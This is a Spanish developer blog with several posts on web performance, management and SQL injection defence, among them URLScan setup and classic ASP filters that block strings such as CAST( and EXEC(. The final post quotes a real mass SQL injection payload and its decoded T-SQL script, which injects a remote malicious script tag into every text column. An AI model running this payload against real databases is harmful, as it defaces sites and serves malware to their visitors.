Protección contra inyección SQL con URLScan 3.0

Últimamente muchos hemos sufrido algún tipo de ataque si nos dedicamos a la creación y mantenimiento de aplicaciones web. No importa la importancia o la visibilidad de estas aplicaciones, con que estén publicadas en Internet son un blanco susceptible de ser atacado por la multitud de bots que pululan por la red.

Lo ideal, como siempre, es que nuestras aplicaciones sean a prueba de bombas de modo que filtren los parámetros que recogen correctamente y no hagan caso de los datos que no tienen sentido, pero esto no siempre es posible ya que hay aplicaciones por el mundo de aquella época en la que los ataques no eran el pan de cada día y nadie se preocupaba por ellos.

Para esto, una buena opción es la protección de los ataques usando algún tipo de firewall o en su defecto algún tipo de filtro de queries, mucho mejor que protecciones a nivel de aplicación. Si trabajamos con IIS6, hasta hace poco había pocas opciones para protegernos ya que el clásico URLScan no permitía manejar Querystrings completas. Una opción gratuita es el IIS 6 SQL Injection ISAPI Wildcard, que filtra de forma básica todo lo que parece sospechoso y desde hace poco también está la opción de usar URLScan 3.0 en su versión beta, que permite añadir filtros a las Querystrings para proteger las páginas devolviendo un error 404 si se incumplen las condiciones.

Uno de los motivos del lanzamiento de esta herramienta ha sido el gran aumento de los ataques SQL en los últimos meses, como queda reflejado en el Security Advisory 954462, donde recomiendan usar este software así como otra interesante herramienta como es el Microsoft Source Code Analyzer for SQL Injection, del que hablaré en otro momento.

URLScan es muy sencillo de instalar, descargamos el instalador y ejecutamos y nos informará de dónde se ha instalado. Después hay que editar urlscan.ini para ajustarlo a nuestras necesidades (las configuraciones de la version 2.x son compatibles) y un buen punto de partida es la página de Common UrlScan Scenarios, donde explican configuraciones básicas para protección contra verbos extraños y contra ataques de inyección SQL.

Los he estado probando y recomiendo cierta prudencia ya que nos podemos encontrar con algunas sorpresas ya que si un parámetro se llama como una de las palabas prohibidas o su valor contiene una de las palabras tendremos un bonito error 404, por lo que convendría monitorizar los logs de URLScan durante los primeros días para evitar sorpresas. En mi caso he tenido que desactivar el filtro de una sola @ (aparecen mails en parámetros) y INSERT y SELECT porque aparece en el nombre de algunos parámetros.

Como opción interesante es que también se filtran los parámetros de las cookies, que muchas veces no se protegen adecuadamente y también se puede hacer inyección editando la información que contienen.

En resumen, URLScan 3.0 añade filtrado por Querystring que tanto había sido demandado y lo convierte en una herramienta potente a la hora de proteger un servidor con SQL Server y IIS 5, 6 o 7.

Posted in Seguridad | Tagged , , , , , , | 4 Comments

YSlow para bloggers

YSlow es una extensión de Firefox desarrollada por el Exceptional Performance Team de Yahoo! para validar de forma sencilla algunas de las recomendaciones que exponen en su sitio web.

Para instalarla, simplemente hay que dirigirse a la página de la extensión y instalar, pero antes, hay que instalarse Firebug porque funciona a través suyo.

Una vez instalado aparecerá un icono en la barra inferior del Firefox que automáticamente mide algunos parámetros básicos del rendimiento de nuestra web y finalmente muestra el tiempo total de carga. Personalmente desactivo esta opción porque solamente me interesa usar YSlow en momentos concretos. Para ello, simplemente hay que abrir el Firebug pinchando en el bicho que aparece en la barra inferior y luego seleccionar la pestaña YSlow. A continuación, seleccionar más arriba la opción Performance para ver un análisis exhaustivo. Dará finalmente una nota (la mía es F, suspenso, lo habitual) y un desglose por apartados con la puntuación de cada uno (de F, la peor a A, la mejor). Sacar una F no es bueno, pero lo importante es conocer los motivos por los que ocurre.

Los parámetros analizados son los siguientes:

  • Make fewer HTTP requests: Mi página tiene 24 javascripts externos y 4 CSS, lo que es esencialmente malo. Para solucionarlo debería, por un lado, combinar los javascripts y las CSS en la medida de lo posible, cosa que en principio debería estar a mi alcance. Se pueden hacer más cosas avanzadas, como usar Sprites CSS, usar el clásico <map> para reducir el número de imágenes o incluso embeber las imágenes en el HTML usando URLs de tipo data:. Recomendación: Revisar con Firebug las CSS y los javascripts cargados y repasar si son combinables de algún modo o prescindibles.
  • Use a CDN: Esto significa Content Delivery Network, una red distribuida de servidores que copian los contenidos y los ofrecen al usuario final seleccionando el mejor enlace disponible. La gran mayoría son comerciales, como Akamai o Limelight con algunos experimentos gratuitos basados en P2P (como Coral) que no acaban de ir bien del todo. Recomendación: Olvídate de ellos, pero aprovéchate de los grandes, por ejemplo almacenando tus imágenes en Flickr o similares, ya que ellos tienen redes probablemente mejores que tu proveedor.
  • Add an Expires header: Esto sirve para indicar al navegador (y proxies que realizan caché) la caducidad de los contenidos. Convendría que todos los contenidos estáticos (imágenes, css, etc…) tuvieran una cabecera Expires en el futuro más o menos lejano, pero cuidado, al modificar los contenidos deberíamos modificar tambien su nombre o muchos usuarios seguirán viendo los antiguos! Recomendación: Si sabes como hacerlo pruébalo, pero mucho cuidado con las actualizaciones porque si no cambias los nombres no se actualizarán los contenidos (sí con Ctrl+F5, pero tus lectores no tienen porqué hacerlo ni saberlo).
  • Gzip components: Aquí tengo una F porque no sé porque mi servidor con comprime los .js y .css, lo tengo que mirar. En general los servidores Apache vienen configurados para comprimir con gzip usando mod_gzip por defecto pero en servidores IIS es un poco más complicado (por suerte no en IIS7). Recomendación: Con un poco de suerte ya estará activado, si no suele ser sencillo. No tiene contraindicaciones, así que no hay motivo por el que no hacerlo.
  • Put CSS at the top: Permite que la página se muestre progresivamente mientras carga, así que es mejor poner las CSS en el <head> de la página. Recomendación: Hazlo. Revisa tu diseño para que sea así, pero a veces, los javascripts de publicidad o de redes de afiliación cargan sus propias CSS de forma autónoma. No se puede hacer mucho en ese asunto.
  • Put JS at the bottom: Mientras se cargan los javascripts impedimos que se estén cargando imágenes u otros recursos y en general, la mayoría de ellos no hace falta que se ejecuten antes de cargarlos (por ejemplo, muchas veces se lanzan en el evento onload de la página). Por norma, si no hacen document.write se pueden mover al final. Recomendación: Revisa tu diseño para asegurarte que no los cargas en el <head> sino justo antes de cerrar el <body>.
  • Avoid CSS expressions: Casi seguro que no sabías que se podían inicializar propiedades de la CSS mezclándo javascript y usando la etiqueta expression. Si lo sabías y lo hacías ve con cuidado porque se evaluan muchas veces. Recomendación: No lo uses porque además en muchos navegadores ni siquiera está soportado.
  • Make JS and CSS external: Salvo casos especiales (como páginas relativamente pequeñas que tienen muchas visitas) es recomendable externalizar los javascripts y las css para que se puedan cachear mejor en el navegador, dejando solamente fuera de la caché los elementos dinámicos. Recomendación: No pongas mucho javascript ni css dentro de la plantilla, sino referencias con <link> y <script>.
  • Reduce DNS lookups: Aquí tengo una C porque obligo a mis lectores a resolver 7 dominios: 5 son de Amazon, 1 del Analytics y 1 mío, con lo que un tirón de orejas para Amazon porque los contenidos proporcionados por su red de afiliados hacen demasiadas consultas. Recomendación: Revisa quién hace qué. En general los sistemas de estadísticas y los contenidos sindicados de redes de publicidad o promoción añaden algunas consultas DNS que no se pueden evitar. Aun así, asegúrate que tus contenidos, los que puedes controlar, se acceden solamente a través de un dominio. Esto entra en conflicto con lo de colgar las imágenes en otra página y probablemente es mejor idea que reducir el número de consultas DNS.
  • Minify JS: Existen una serie de herramientas (JSMin, YUI Compressor, …) que permiten reducir drásticamente el tamaño de los javascripts, eliminando comentarios, reduciendo el nombre de las variables no visibles desde el exterior y haciendo algún que otro truquillo más. Recomendación: Si usáis alguna librería tipo JQuery o Prototype, disponen de versiones minimizadas que son las que se deben usar. Si no es el caso, se puede usar alguna de las herramientas, no suelen dar problemas.
  • Avoid redirects: En general los motores de blogging no hacen redirects y suelen estar bien configurados en ese aspecto, por lo que no hay que preocuparse. Recomendación: No creo que haya, pero si los hay es posible que sea por haber cambiado de subdominio o algo por el estilo. Habría que investigar a qué se deben estas redirecciones.
  • Remove duplicate scripts: Duplicar nunca es bueno, así que no debería haber nada duplicado. Recomendación: Si aparece algo duplicado, investigar el motivo y eliminar la duplicidad.
  • Configure ETags: Los ETags son una especie de identificador del contenido. Al hacer la petición, el navegador indica el ETag del contenido cacheado y si este coincide con el que tiene el servidor, se envia un código 304 indicando que el contenido sigue siendo válido. En caso contrario se reenvia el contenido. Esto hace aumentar un poco las cabeceras HTTP pero en un entorno monoservidor puede ser útil. Por el detalle que ofrece, entiendo que la recomendación de YSlow es eliminar los ETags porque en la muchos casos son más una molestia que una ventaja. Recomendación: En un hosting compartido es posible que los ETags no sean siempre iguales para contenidos iguales, aunque esto puede no ser así. Como recomienda quitarlos se puede hacer, pero la ventaja tampoco tengo claro que merezca el esfuerzo.

El documento de Yahoo! describe unos cuantos puntos más en los que se puede mejorar la velocidad y ganar unas décimas adicionales, que son también muy interesantes.

Además, como no, YSlow tiene tambien una pestaña Stats que muestra gráficas con el peso específico de cada conjunto de componentes y otra de Components donde muestra cada uno de los componentes cargados indicando su tamaño, si están comprimidos, si tienen fecha de expiración y también su ETag, información muy interesante a la hora de ver si nuestras modificaciones están funcionando.

Como ejercicio me queda mejorar en los puntos que dependan de mí y escribir otro post con mis experiencias, a ver si consigo por lo menos aprobado justillo.

Posted in Blogging | Tagged , , , , | 2 Comments

¿Qué le pedirías a tu jefe?

Revisando la larga lista de feeds a los que compulsivamente me suscribo llegué a un interesante post titulado What a developer needs from their manager. En él se detallan una serie de aspectos que debería tener en cuenta alguien que dirige desde el punto de vista no técnico a una serie de desarrolladores. Lo veo un tanto enfocado a empresas pequeñas, donde hay cierta proximidad entre unos y otros y las relaciones pueden ser mucho más dinámicas.

  • Por un lado, la idea de la capa de abstracción para desarrolladores que debe haber entre el funcionamiento de la empresa y lo que necesitamos saber los programadores. Me gusta la idea, porque en realidad en general no me interesan los problemas que tienen por ejemplo con ciertos clientes o con otros, para mí son todos prácticamente iguales. Por supuesto que tampoco hay que aislar completamente a nadie ni sobreproteger.
  • Es muy importante, por lo menos para mí, que me dejen trabajar en paz. A veces da igual pero otras veces estamos concentrados, resolviendo algo y una interrupción inoportuna puede dar al traste con esa atmósfera. Y no solo son los jefes los que interrumpen inoportunamente. La mensajería instantánea es un compromiso que en mi caso funciona bastante bien. No es tan asíncrono como el mail ni tan inmediato como una conversación cara a cara o una llamada.
  • Mareriales: libros, revistas y incluso equipamiento técnico. No hay nada más triste que trabajar con un equipo lento porque falta memoria o querer tener una referencia y no poder comprar un libro. Son gastos insignificantes comparados con un sueldo y pueden aumentar la productividad. No hay que racanear.
  • La confianza es imprescindible. En serio. Mientras no se demuestre lo contrario hay que confiar en que las cosas se van a hacer bien, y confiar de verdad. Y cuando salen mal las cosas, no responder con el típico “ya sabía yo”. Por supuesto, todo tiene un límite.
  • Como no, mantén feliz al programador. En realidad a cualquier empleado hay que mantenerlo feliz. Pero en un mundillo con tanta movilidad, los desdenes, los malos gestos, la falta de detalles son visitas seguras a las típicas webs de ofertas de trabajo que todos conocemos. Y si echas la caña, al final algo pescas.
  • No hay que meterse en lo que a uno no le importa, o mejor dicho: cada uno a lo suyo. No hay nada más odioso que que te digan como debes hacer algo. El programador sabe cómo se programan las cosas y si no lo sabe lo aprenderá.
  • También hay que estar accesible y tener las cosas organizadas. Debido a la anterior capa de abstracción, los programadores no sabemos exactamente qué es importante y qué no, cuales son las prioridades y las cosas que pueden esperar. Hay que poder responder a las dudas con rapidez y claridad y ayudar a resolver los problemas que puedan surgir cuando los plazos no se cumplen o algo sale como no estaba planeado.
  • Y finalmente, hay que dejar claro lo que se espera de cada uno. En mi caso es algo que nunca he tenido claro y no puedo decir si eso ayuda, pero la verdad es que me gustaría saber en qué criterios objetivos se basa la valoración de mi trabajo a parte de los criterios plenamente subjetivos que se puedan tener. Es un modo no solo de que cada uno sepa a qué se atiene sino que además se pueda exigir y ayudar a los demás compañeros a que cumplan sus objetivos si dependen de nosotros.

Y eso es todo, cada uno que saque sus propias conclusiones. Cómo jefe o director, ¿consigues satisfacer las expectativas de tus programadores? Como programador, ¿ves tus necesidades cubiertas? ¿tienes alguna otra necesidad que no esté aquí reflejada? ¿puedes hacer algo por conseguir que tus superiores las satisfagan?

Via | What a developer needs from their manager (ytechie.com)

Posted in Productividad | Tagged , , | Leave a comment

Protección de QueryString en ASP clásico contra inyección SQL

Hace un mes comenté que nos habían atacado por SQL, pero la cosa ha ido a más durante este tiempo y los ataques han proliferado y han ido variando ligeramente con el tiempo siendo en algunos casos menos destructivos pero más efectivos.
El problema son las aplicaciones legadas, en mi caso hechas en ASP clásico, en las que no hay ni tiempo ni ganas de revisar y cambiar todo lo que habría que cambiar para proteger adecuadamente estas aplicaciones (algunas datan del 2000).
A esto se une la propia inutilidad del IIS6 (por no hablar del IIS5 que también anda por ahí) para filtrar adecuadamente las QueryStrings contra ciertos patrones.
Para el ataque en cuestión, una primera aproximación es protección a través de TSQL, denegando el permiso de acceso a sysobjects y syscolumns al usuario que accede a la base de datos desde la aplicación ASP:

USE [database]
DENY SELECT ON ..sysobjects TO [login]
DENY SELECT ON ..syscolumns TO [login]

Esto puede ser suficiente para la oleada de ataques actuales pero no siempre es posible cambiar esos permisos ya que no se puede acceder con una cuenta con privilegios a la base de datos.
Entonces queda la protección por código, a través de algún archivo básico que se incluya en todas las páginas (si la aplicación es más o menos seria seguro que tiene alguno de estos). Casi seguro que al código hay acceso de algún modo para poder realizar actualizaciones. Si ni SQL, ni código, ni nada pues entonces solo hay que esperar que esté todo bien protegido de serie.
La protección por ASP es bastante simple y limitada pero sirve para el caso que nos ocupa como solución de emergencia sin tener que cambiar demasiadas cosas. Se basa en recoger los parámetros de la URL y buscar una serie de cadenas que seguramente aparecen en un ataque y improbablemente en una página bien formada, pero allá cada uno:

const ERR_BAD_QUERY = 1 ' El valor que se desee realmente

if request.servervariables(&quot;QUERY_STRING&quot;) &amp;lt;&amp;gt; &quot;&quot; then
    dim testQueryString, vDangerousStrings, dangerousString

    testQueryString = request.servervariables(&quot;QUERY_STRING&quot;)

    vDangerousStrings = split(&quot;CAST(,DECLARE%20,VARCHAR(,EXEC(&quot;,&quot;,&quot;)

    for each dangerousString in vDangerousStrings
        if instr(1, testQueryString, dangerousString, vbTextCompare) &amp;lt;&amp;gt; 0 then
            err.raise vbObjectError + ERR_BAD_QUERY, &quot;AppName&quot;, &quot;Los parámetros (&quot;&amp;amp;dangerousString&amp;amp;&quot;) de la URL no son correctos: &quot; &amp;amp; testQueryString
        end if
    next
end if

Con esto, cuando intenten atacar, fallará estrepitosamente y si están adecuadamente configurados los errores personalizados en el IIS para el error HTTP 500 aparecerá una bonita página al atacante. En mi caso, cada error manda un mail a una cuenta de monitorización.
Espero que a alguien le haya servido, aunque repito, no es una solución demasiado elegante ni infalibre. Además, no protege los parámetros pasados por POST, aunque de momento los ataques no están funcionando de ese modo, podrían hacerlo en algún momento.
Para implementar una solución más completa, estos consejos para la detección XSS y SQL Injection pueden ser bastante útiles.

Actualización 06/06/2008:
Después de hacer algunas pruebas de rendimiento, usar expresiones regulares no es realmente más lento que usar instr, así que allá va una versión mejorada:

const ERR_BAD_QUERY = 1 ' El valor que se desee realmente

if request.servervariables(&quot;QUERY_STRING&quot;) &amp;lt;&amp;gt; &quot;&quot; then
    dim re, testQueryString, vDangerousStrings, dangerousString

    set re = new regexp
    re.ignorecase = true

    testQueryString = request.servervariables(&quot;QUERY_STRING&quot;)

    vDangerousStrings = split(&quot;CAST(%20)*(,DECLARE(%20)+,VARCHAR(%20)*(,EXEC(%20)*(&quot;,&quot;,&quot;)

    for each dangerousString in vDangerousStrings
        re.pattern = dangerousString

        if re.test(testQueryString) then
            set vMatches = re.execute(testQueryString)
            err.raise vbObjectError + ERR_BAD_QUERY, &quot;AppName&quot;, &quot;Los parámetros (&quot;&amp;amp;vMatches(0)&amp;amp;&quot;) de la URL no son correctos: &quot; &amp;amp; testQueryString
        end if
    next

    set re = nothing
end if

Con esto se flexibilizan las cadenas a buscar de modo que se adapten a variaciones del ataque que añadan espacios entre los comandos TSQL, que seguirían siendo perfectamente válidos para el intérprete de SQL Server.

Posted in Seguridad | Tagged , , , | 2 Comments

La impedancia de los WebForms

El otro día leí un estupendo artículo sobre la difícil mantenibilidad de los WebForms de ASP.NET. Realmente expone las frustraciones a las que nos enfrontamos muchos programadores que trabajamos con esta tecnología de Microsoft, especialmente los que venimos del mundo puramente web y raramente hemos trabajado en VB6 o WinForms.
Entre los motivos que se exponen son los siguientes:

  • Algunas cosas sencillas, patrones típicos de HTML/Javascript cuestan mucho o son casi imposibles
  • No hay ningún control sobre el HTML generado, dificultando especialmente la conciliación con el diseño original
  • Los controles reciben IDs tediosos de manejar desde Javascript, que además cambian si se cambia el control de contenedor
  • Los controles a veces no funcionan como deberían y hay que ir investigando porqué se comportan como lo hacen

Yo al final opto muchas veces por usar repeaters, simples y sencillos. Dibujan el HTML tal cual está previsto y así sale todo como está previsto, pero claro, luego vienen los problemas cuando hay que anidar unos dentro de otros: ni se me ocurre abrir el diseñador.

En esta línea, hoy han publicado una continuación hablando del modelo web, lo que conocemos de toda la vida:

  • HTTP
  • Cookies
  • (X)HTML
  • CSS
  • JavaScript

Una vez entendido es bastante sencillo. Tiene sus inconvenientes pero todo se deriva de la naturaleza del HTTP, donde cada llamada es completamente independiente de la anterior. Eso obligó a crear las cookies y desde el renacimiento del Javascript gracias a la explosión de AJAX conforman un conjunto bastante completo conocido por una infinidad de desarrolladores web alrededor del mundo.

Por lo tanto, para reducir las diferencias entre la programación Windows y la web, los programadores de Microsoft se inventaron:

  • Los postbacks
  • El ViewState
  • El ciclo de vida

Y así nacieron los WebForms. Decidieron reinventar la rueda para captar a los clásicos programadores de VB6 que empezaban en la web cuando apareció el .NET Framework y el Visual Studio .NET por allá por 2003. Pero a los que veníamos de ASP no nos ofrecieron en realidad una continuidad con el medio que conocemos y que por más que pase el tiempo no acabamos de comprender el nuevo modelo pensando que “antes era más sencillo”. No es lo que yo llamo progreso.

Un ejemplo reciente: me preguntaron porque si movían opciones de un ListBox a otro por Javascript y luego hacían un Request para recoger el valor de la lista en la acción, devolvía null. Pues simplemente porque ese tipo de controles meten su valor en el ViewState para “completar” la información que HTML por sí mismo no da. Así que la solución es copiar el valor en un campo oculto y luego recogerlo, teniendo que hacer manualmente lo que ASP.NET hace automáticamente solamente porque usando los eventos de .NET, cada movimiento entre listas obliga a recargar la página (no con AJAX, pero el problema es parecido). Y con razón me dicen que antes era más sencillo. No les puedo decir que no.

Así que tengo esperanza en los frameworks MVC. He probado MonoRail y los resultados han sido muy positivos: todo bien separado, diseño tal cual había sido concebido por los creativos, testeo de cada una de las partes, etc. Ahora va haciendo camino ASP.NET MVC (y en Codeplex con código fuente y ejemplos), que no es ni mejor ni peor pero probablemente sea más fácil convencer a las altas esferas si lleva el ADN de Microsoft y no el de Open Source (es lo que tiene el vendor lock-in). En cualquier caso, sea con uno o con otro, creo que es el camino a seguir para librarse definitivamente de los WebForms y volver a jugar en terreno conocido.

Via | Working with the web model [lostechies.com]

Posted in Programación | Tagged , , , , , | 1 Comment

Google anuncia Google Doctype

No suelo escribir sobre actualidad pero la ocasión lo merece, porque el anuncio me ha gustado y encuentro que es una gran iniciativa por parte de Google: Google Doctype.

La idea del gigante, llevada a cabo por Mark Pilgrim, autor de un par de libros (Dive into Python y Greasemonkey Hacks) es sencillamente un wiki sobre desarrollo web (HTML, CSS, Javascript, …) bajo una licencia Creative Commons Attribution y permitiendo a todo el mundo con una cuenta de Google modificar, mejorar y ampliar los contenidos. Incluso se pueden descargar todos los contenidos a través de Subversion.

Desde luego es una iniciativa poderosa, en la que además se presentan código interno de Google en la documentación liberado open source y pretenden convertirse en un referente para todos los desarrolladores web. Viendo el video de Mark (un poco largo y con mucho ruido de fondo), el propósito es permitir a la gente crear webs universales, aptas para cualquier dispositivo, navegador y sistema operativo, algo que cada día es más demandado. ¿Sabías que el iPhone no tiene reproductor Flash? Pues eso deja fuera de juego a todas las webs que usan Flash. El futuro depara una cantidad ingente de clientes web heterogéneos y Google apuesta por el HTML, las CSS y el Javascript como una respuesta a esta situación.

En resumen, que hay un nuevo referente en cuanto a documentación para el desarrollo web, que viene a completar los que hay ahora, como el sitio oficial del W3C o una de mis favoritas: Quirksmode.

Via | Google Doctype: Documenting the Open Web (ajaxian.com)

Posted in Programación | Tagged , , , | 1 Comment

¡Activa ya la compresión gzip en tu servidor!

Llevo tiempo queriendo escribir sobre este tema pero quería acabar de escribir un pequeño script en Python para si un servidor dado tiene o no activada la compresión.

La importancia de este mecanismo es que sirve para reducir significativamente el ancho de banda utilizado con un coste de CPU bastante bajo. Además, gzip es un mecanismo ampliamente soportado por todos los navegadores (publicado en la RFC 1951) desde hace años y por supuesto por los servidores web. Se basa en el algorimo deflate y permite compresión de un archivo cada vez (es decir, no es como el zip o el rar que pueden almacenar varios achivos y carpetas) y en entornos unix es ampliamiente usado en los archivos .tar.gz (tar almacena la estructura sin comprmir y gzip comprime el resultado).

Evidentemente, no hace milagros pero es muy efectivo para la compresión de HTML (.htm, .html), Javascript (.js), CSS (.css) y por supuesto archivos dinámicos resultado de todo tipo de entornos (.aspx, .asp, .php, .py…). Comprimir las imágenes por ejemplo no sirve para nada salvo para perder el tiempo y desperdiciar CPU (a lo mejor .bmp si que los comprime… pero espero que nadie esté sirviendo estos archivos en su servidor).

En Apache suele estar activada por defecto en la mayoría de instalaciones (a través de mod_gzip), aunque puede que haya que activarla o configurarla manualmente si no se ajusta al las necesidades.

En IIS, el proceso es un tanto más laborioso, aunque con la versión 6 (y la 7, naturalmente) viene de serie todo lo necesario para activar esta compresión (aun así hay módulo ISAPI de terceros). Una buena explicación en español y otra en inglés no vendrán nada mal. Lo único delicado es no poner nada mal en la metabase porque en ese caso no hará ni caso.

Luego, hay unos cuantos sitios para comprobar si todo ha funcionado bien, pero uno de los que más me ha gustado es test mod_gzip/gzip de WhatsMyIP.org. O también se puede adaptar mi pobre script:

import urllib2;
import httplib;
import StringIO;
import gzip;
import zlib;

URL = "http://codelog.climens.net";

httplib.HTTPConnection.debuglevel = 1

req = urllib2.Request(URL);
req.add_header('Accept-encoding', 'gzip');

opn = urllib2.build_opener();
f = opn.open(req);

encoding = f.headers.get('Content-encoding');

gzipped = 0;

if encoding=='gzip':
    cdata = f.read();
    cdatasize = float(len(cdata));

    cstream = StringIO.StringIO(cdata);

    data = gzip.GzipFile(fileobj=cstream).read();
    datasize = float(len(data));

    gzipped = 1;
else:
    data = f.read();
    datasize = float(len(data));

    gzipped = 0;

if gzipped==1:
    print 'Gzip compression: Enabled';
    print 'Compressed size: %d bytes' % cdatasize;
    print 'Full size: %d bytes' % datasize;

    print 'Ratio: %0.2f:1 (%0.1f%%)' % (float(datasize/cdatasize), float(100 - cdatasize*100/datasize));

else:
    print 'Gzip compression: Disabled';
    print 'Content size: %d bytes' % datasize;

Feliz compresión.

Posted in Programación | Tagged , , , , , | 6 Comments

Los 7 hábitos de la gente altamente efectiva

Los 7 hábitos de la gente altamente efectiva
[rating:4.5]

Los 7 hábitos de la gente altamente efectiva es un libro que he leído más que nada por curiosidad, porque lo ví recomendado varias veces y porque se puede decir, que después de los casi 30 años que lleva Stephen R. Covey promulgando el concepto de los 7 hábitos, es ya un clásico.

Es la edición en español del libro de 1989, The 7 habits of highly effective people editada por Paidós desde el año 1997. Consta de unas 400 páginas en las que se describen con abundantes ejemplos reales los 7 hábitos, uno por uno.

Aunque pueda parecer un libro sobre productividad empresarial o personal en el ámbito laboral, se trata de una visión bastante más profunda e introspectiva de la que nos tienen acostumbrados este tipo de libros, llegando al ámbito de la autoayuda pero sin decantarse por un aspecto vital concreto, más bien expone un marco general de trabajo basado en una serie de reglas básicas que pueden ayudar al lector a sacar más provecho de sí mismo y de sus relaciones con el resto de personas.

Divide el libro en dos grandes bloques, el de la victoria privada y la victoria pública, con tres hábitos cada uno y luego un séptimo hábito transversal a los demás que es en gran parte responsable de que consigamos llevar a cabo por lo menos una pequeña parte de los hábitos. Él mismo reconoce que no es nada sencillo seguir fielmente estas pautas pero que debe ser nuestro objetivo y es el suyo desde hace muchos años.

En cuanto a la victoria privada, los tres hábitos son: ser proactivo, empezar con un fin en mente y establecer primero lo primero. El primero se refiere a que nos adelantemos a los problemas y no vivamos de ellos; el segundo, que si no hay una meta clara, difícilmente llevaremos a cabo nuestros propósitos; y el tercero, que replanteemos nuestro sistema de establecimiento de prioridades.

Con este bagaje, vamos a la victoria privada: pensar en ganar/ganar, primero comprender y después ser comprendido y finalmente la sinergia. Ganar/ganar singnifica conseguir acuerdos que beneficien a todas las partes implicadas, sin que una de las dos sea la parte perdedora. Después, ponerse en el lugar del otro para comprender fielmente su punto de vista, un hábito que el autor considera especialmente complicado y para terminar habla de la sinergia, la asociación de personas con un objetivo común que puede ser mucho más provechosa y productiva que todas ellas por separado. En este último puedo estar de acuerdo, pero es complicado encontrar dicha sinergia ya que todas las partes deben de estar predispuestas a ello.

Finalmente, el último hábito lo llama afilar la sierra: “simplemente” nos invita a mantener nuestra mente despierta, aprender siempre cosas nuevas y estar dispuestos a renovar y mantener continuamente nuesta mente, nuestro espíritu, nuestro cuerpo y nuestras relaciones. Desde luego, un objetivo ambicioso pero a la vez necesario para ser realmente efectivo y desde luego un gran consejo para no dejarse llevar por el entorno.

En resumen, el libro me parece muy positivo, en un sentido amplio. No dice nada nuevo, no descubre el mundo pero aglutina una serie de pautas y hábitos que conviene por lo menos tener en cuenta en nuestro día a día y pueden ayudar a evitar o resolver potenciales problemas que se nos pueden ir planteando, lo que no es poco. Además, su lectura es bastante llevadera aunque considero que de vez en cuando se repite demasiado en algunos conceptos o expone algunos ejemplos que me parecen pasajeros y podemos vivir sin ellos. Tampoco me gusta demasiado su fijación con la Iglesia, quizás porque su percepción por un lado protestante y por otro sumamente norteamericana se me hacen lejanas y también porque evitando ciertos comentarios podría ser un poco más neutral. No es que sea ofensivo y el autor mismo reconoce que existen muchas religiones y creencias que en el fondo aunque no en la forma persiguen en cierto modo lo mismo que expone él en su concepto de vivir según unos principios. Por otro lado, hay que tener en cuenta que este libro se publicó en 1989 por primera vez, con la caída del muro de Berlín y el inicio de la era de la información: no había ni Internet, ni móviles, ni globalización… En definitiva, que los tiempos han cambiado y hay que leer el libro teniendo en cuenta este punto, que, aun así, no ha perdido vigencia en absoluto.

No es un libro especialmente caro y es recomendable: cada uno que lo lea y saque sus propias conclusiones porque es en muchos aspectos bastante personal y muchas veces hace reflexionar sobre cómo aplicaríamos tal o tal concepto en una u otra situación de lo que nos va ocurriendo mientras vamos leyendo. Hay gente realmente apasionada de este libro y desde luego algo tendrá porque no solamente lleva años dando vueltas sino que el autor ha publicado otros títulos que profundizan en ciertos aspectos (como “Primero lo primero”) o amplían los hábitos para adecuarlos a los tiempos actuales (como “El octavo hábito, el liderazgo centrado en principios”).

Posted in Productividad | Tagged | 3 Comments

Atacados por inyección SQL

Hoy ha sido un dia aciago en el trabajo, de esos que parece que nada funciona bien y para colmo a última hora ha llamado alguien diciendo que no se veía bien un banner de su web. “A saber que han tocado” he pensado, pero eso solo era la punta del iceberg.

Echamos un vistazo y alerta del antivirus porque intentábamos ejecutar código maligno. Raro. Examinamos detenidamente la página y encontramos algo como esto por todas partes:

&lt;script src=http://www.nihaorr1.com/1.js&gt;&lt;/script&gt;&lt;/pre&gt;

Curioso. Por lo visto todos los campos nvarchar y ntext habían sido completados con este añadido de html. La cosa se ponía ya más fea. El javascript en cuestión, lo que hace es escribir un iframe que apunta a una URL concreta, que cuando lo he probado no funcionaba (igual han muerto de éxito).

Buscando en Google, cómo no, veo que hay unos cuantos sites afectados por este gusano, por llamarlo de algún modo. Vale, por lo menos no somos los únicos pringados en este asunto.

Tirando del hilo y acotando un poco la búsqueda he llegado al foro de SecurityFocus y de ahí a una interesante explicación detallada de un ataque a SQL Server codificando una cadena de caracteres, haciendo un CAST y luego un exec de la cadena.

Después me he dedicado a revisar los logs de errores del servidor que llegan por correo (no tenía acceso a la máquina para ver los logs del servidor web), casi seguro que no habían acertado a la primera. Efectivamente, habían acertado a la segunda. Buena puntería.

Esto es de forma abreviada lo que intentaban inyectar:

';DECLARE%[email protected]%20NVARCHAR(4000);SET%[email protected]=CAST(0x44004500 .... 6F007200%20AS%20NVARCHAR(4000));EX EC(@S);--&lt;/pre&gt;
La verdad es que es ingenioso y potente ya que por un lado minimizan la cantidad de instrucciones SQL necesarias y además no usan los típicos &lt;code&gt;SELECT&lt;/code&gt;, &lt;code&gt;INSERT&lt;/code&gt; o &lt;code&gt;UPDATE&lt;/code&gt;. Una vez decodificada la cadena, lo que se consigue es un script como este:
&lt;pre name=&quot;code&quot; class=&quot;sql&quot;&gt;DECLARE @T varchar(255),@C varchar(255)
DECLARE Table_Cursor CURSOR FOR
    select a.name,b.name from sysobjects a,syscolumns b
    where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
OPEN Table_Cursor
FETCH NEXT FROM  Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0)
BEGIN
    exec('update ['[email protected]+'] set ['[email protected]+']=rtrim(convert(varchar,['[email protected]+']))+''&amp;lt;script src=http://www.nihaorr1.com/1.js&amp;gt;&amp;lt;/script&amp;gt;''')
    FETCH NEXT FROM  Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor

No es realmente complicado, ya que lo que hace es obtener de sysobjects las columnas y tablas vulnerables y después recorre los resultados haciendo un UPDATE intentando no destruir datos y simplemente añadir la cadena maliciosa a las existentes. Y además usando instrucciones que suelen estar disponibles con los niveles de privilegio básicos de lectura y escritura (por lo menos en SQL Server). Me gusta.

Las aplicaciones que hacemos suelen tener una protección más o menos adecuada contra ataques de inyección como estos (funciones de recogida de datos y de paso de parámetros a sentencias SQL) pero en este caso, por desconocimiento o despreocupación, se trataba de un par de páginas muy a medida que se hicieron para ese proyecto. Tendré que recordar una vez más la importancia que tiene el manejo de strings, tanto a la hora de recogerlos, para evitar por ejemplo inyección de HTML, como a la hora de usarlos en consultas SQL, para evitar la ejecución de código malicioso.

Actualización 22-04-2008: Ya me han llegado los logs. Todo viene de la IP 219.153.46.28, y veo que no somos los únicos afectados. Id con cuidado ahí fuera.

